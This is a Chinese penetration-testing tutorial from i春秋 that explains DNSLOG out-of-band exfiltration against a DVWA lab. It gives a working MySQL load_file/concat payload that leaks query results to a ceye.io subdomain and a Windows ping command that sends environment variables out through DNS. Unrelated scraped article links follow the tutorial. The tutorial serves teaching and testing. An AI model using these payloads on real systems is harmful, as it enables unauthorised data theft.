利用DNSLOG获取看不到的信息(给盲注带上眼镜)
一、前言
本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
毕业设计总算搞得差不多了,这个心累啊。
这不,完成了学校的任务,赶紧回来给蛋总交作业。
今天给大家分享一个姿势吧,不是什么新东西,但比较少见——用DNS log来获取回显。
大家在渗透测试的时候可能会遇到一下这些情况:
- 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
- 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNS log来获取回显
二、正文
2.1 初探门路
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
例如我们自己的域名是:vk.org
那么我们把信息放在二级域名处,textxxxxxx.vk.org
想方法发起这个域名解析请求,那么那边就能收到textxxxxxxx这个信息了。
如果没有自己的vps,没有相关条件怎么办?
网上也有不少这样的dnslog平台
这里推荐一个免费的:http://ceye.io
注册之后如图
<ignore_js_op>
他会给你一个三级域名,你把信息写在第四级域名上就好了
例如我这里直接浏览器访问:ichunqiu_vk.xxxx.ceye.io
<ignore_js_op>
显示not found,没关系回去doslog平台看看:
<ignore_js_op>
可以看到信息传进来了。
2.2 在SQL注入中的运用
<ignore_js_op>
这里就使用 DVWA做环境了
他里面就有盲注模块,简单来检测注入点,
<ignore_js_op><ignore_js_op>
这里不做解释了,不懂的去看看我以前的sql注入帖子:
https://bbs.ichunqiu.com/thread-18284-1-1.html
可以看到,这里存在注入点,可惜是盲注,无法看到详细信息
盲注的利用方法,大家应该都知道,要么用逻辑法,要么用延时法
总之就是要一个字符一个字符去猜,要发送大量的get请求,
那么这种行为很容易被目标物理防火墙认定位是黑客行为
最终导致IP被ban
如果利用dnsLog来获取信息,既高效又避免这种情况发生
先看看效果:
<ignore_js_op>
<ignore_js_op>
成功获取当前查询的数据库名称。
是不是很方便
深入分析:
我们看看payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+
首先用and拼接两个条件,
if()函数用法:if((a=b),1,0),判断a=b是否为真,若真,则输出第二个参数(即1),否则输出低三个参数(即0)
而if在这里并不重要。
重点在于 load_file()
放这幅图,你们感受一下
<ignore_js_op>
load_file():
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
这个函数也可以用来发送dns解析请求,这就是关键
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字符串拼接
绿色部分就是你要做SQL注入查询的地方
天蓝色就是你的dnslog平台给你的域名
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥
怎么利用?
例如你要查看数据库系统有什么数据库则把绿色部分改成:select schema_name from information_schema.schemata limit 0,1
要注意的是数据很可能不止一行,因此要用limit分次输出
如图:
<ignore_js_op>
因为vk之前有做过测试,为了和之前不一样 我加了个-new
<ignore_js_op>
如图,已经把第一行数据脱出来了,bwapp
接着第二行、第三行只需要修改limit 1,1 limit 2,1即可
这样就能高效的进行盲注
就相当于给盲注带上眼镜
2.3 在命令注入中的运用
发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
如果是win系统,简单的ping %os%.xxxx.cete.io 即可
<ignore_js_op>
这里也是用dvwa的命令注入做演示
看看dnslog那边:
<ignore_js_op>
得到了os的信息,那么就说明这里存在命令注入
这里给大家一个win的常用变量吧
- //变量 类型 描述
- //%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
- //%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
- //%CD% 本地 返回当前目录字符串。
- //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
- //%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
- //%COMPUTERNAME% 系统 返回计算机的名称。
- //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
- //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
- //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
- //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
- //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
- //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
- //%PATH% 系统 指定可执行文件的搜索路径。
- //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
- //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
- //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
- //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
- //%PROCESSOR_REVISION% 系统 返回处理器的版本号。
- //%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
- //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
- //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
- //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
- //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
- //%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。
- //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
- //%USERNAME% 本地 返回当前登录的用户的名称。
- //%USERPROFILE% 本地 返回当前用户的配置文件的位置。
- //%WINDIR% 系统 返回操作系统目录的位置。
如果目标系统是linux的话,则可用用shell语言来挑选,那就更加方便了
两幅图 自己感受一下:
<ignore_js_op>
<ignore_js_op>
第一个是查出该系统用户使用最多的命令,第二个则是使用第二多的命令
<ignore_js_op>
分别是figlet和ls
三、结束语
学无止境,诚惶诚恐,这个dnslog真能算一个小神器
吐司上也有这样的平台,但不太好使,问了问管理 他说凑活用吧。。。。
利用DNSLOG获取看不到的信息(给盲注带上眼镜)的更多相关文章
- 编程实战——电影管理器之利用MediaInfo获取高清视频文件的相关信息
随着高速(20M)宽带.HTPC.大容量硬盘(3T)的普及,下载高清片并利用大屏幕观看也成为普通的事情. 随着下载影片的增多,管理就有了问题,有时在茫茫文件夹下找寻一个影片也是一件费时费力的事. 于是 ...
- java 利用ManagementFactory获取jvm,os的一些信息--转
原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...
- java业务逻辑,利用hibernate获取所连接的数据库信息
1.本人程序架构是springMVC+hibernate,这次的需求是要针对不同的数据库,做不同的处理. 2.获取所连接的数据库是什么,oracle? mysql? sql server? 基础 ...
- 第14.5节 利用浏览器获取的http信息构造Python网页访问的http请求头
一. 引言 在<第14.3节 使用google浏览器获取网站访问的http信息>和<第14.4节 使用IE浏览器获取网站访问的http信息>中介绍了使用Google浏览器和IE ...
- C# 利用Powershell获取网络相关信息
利用Get-NetAdapter获取信息 Get-NetAdapter 参考链接:https://docs.microsoft.com/en-us/powershell/module/netadapt ...
- c#反射机制学习和利用反射获取类型信息
反射(Reflection)是.NET中的重要机制,通过放射,可以在运行时获得.NET中每一个类型(包括类.结构.委托.接口和枚举等)的成员,包括方法.属性.事件,以及构造函数等.还可以获得每个成员的 ...
- 利用json获取天气信息
天气预报信息获取是利用json获取的,网上有非常多资源,源码.因为上面涉及到非常多天气信息,包含湿度,出行建议等,以及加入了全部城市代码的资源包.为了练手了解json的原理.我仅获取诚笃城市的最高温, ...
- 利用KEGG的API获取基因对应的pathway 信息
KEGG 官网提供了API, 可以方便的访问KEGG 数据库中的内容,链接如下: http://www.kegg.jp/kegg/rest/keggapi.html 利用API可以得到某一个基因参与的 ...
- 利用Python获取统计自己的qq群成员信息
利用python获取自己的qq群成员信息! 首先说明一下需要使用的工具以及技术:python3 + selenium selenium安装方法:pip install selenium 前提:获取自己 ...
随机推荐
- thinkphp5 如何使用查询事件?
它是对数据库的CURD操作事件进行了钩子,当事件触发时,会进行回调. 就像是注册事件和前置方法或后置方法类似 下面是demo <?php namespace app\index\controll ...
- 从Java的角度简单修复Cookie越权漏洞
技术实在是有限,讲解cookie越权的时候可能有点简单和粗糙.这里就简单记录学习下. 首先自己写一段存在漏洞的代码code: sendCookie.java package cookie; impor ...
- bzoj1398 Necklace
关于最小表示法的模板题. 最小表示法:把一个字符串表示为它的的所有循环同构字符串中的字典序最小者. 直接参见代码中的函数getmin()获取精髓 #include <cstdio> #in ...
- 洛谷P4070 生成魔咒
题意:给定字符串,求每个前缀的本质不同的子串数量.字符集1e9. 解:在线构造后缀自动机并统计答案. 答案就是∑len[i] - len[fail[i]] 每次增加的时候,至多对三个节点有影响.然而把 ...
- flask 连接MogoDB数据库
# -*- encoding: utf-8 -*- from flask import Flask,request,jsonify,render_template #导入pymongo来连接mongo ...
- cnblogs latex公式
选项->启用数学公式支持 \begin{equation*} \begin{split} &xxx\\ &xxx\\ \end{split} \end{equation*} (\ ...
- 中性SNP的突变年龄评估(estimate the average age of a neutral two-allele polymorphism)
假设中性突变的频率分别为P和1-P,则其突变年龄为:-4Ne[p*( logep)+(1-p)* loge (1-p)] The average age of a neutral two-allele ...
- java的抽象方法
抽象类所起的功能就像定义模板的功能,子类必须继承抽象类,因此不能用final修饰 http://blog.csdn.net/wei_zhi/article/details/52736350 抽象类的函 ...
- Codeforces Round #529 (Div. 3) C. Powers Of Two(数学????)
传送门 题意: 给出一个整数 n ,问能否将 n 分解成 k 个数之和,且这 k 个数必须是2的幂. 如果可以,输出"YES",并打印出任意一组解,反之输出"NO&quo ...
- STM32F103 ------ BOOT0 / BOOT1
BOOT0/BOOT1的状态只是在CPU复位之后的4个周期内,被用作启动的依据,系统启动之后,或是取得了复位向量之后,BOOT0/BOOT1的状态可以任意变化,而不影响CPU的运行. 所以只需要保证在 ...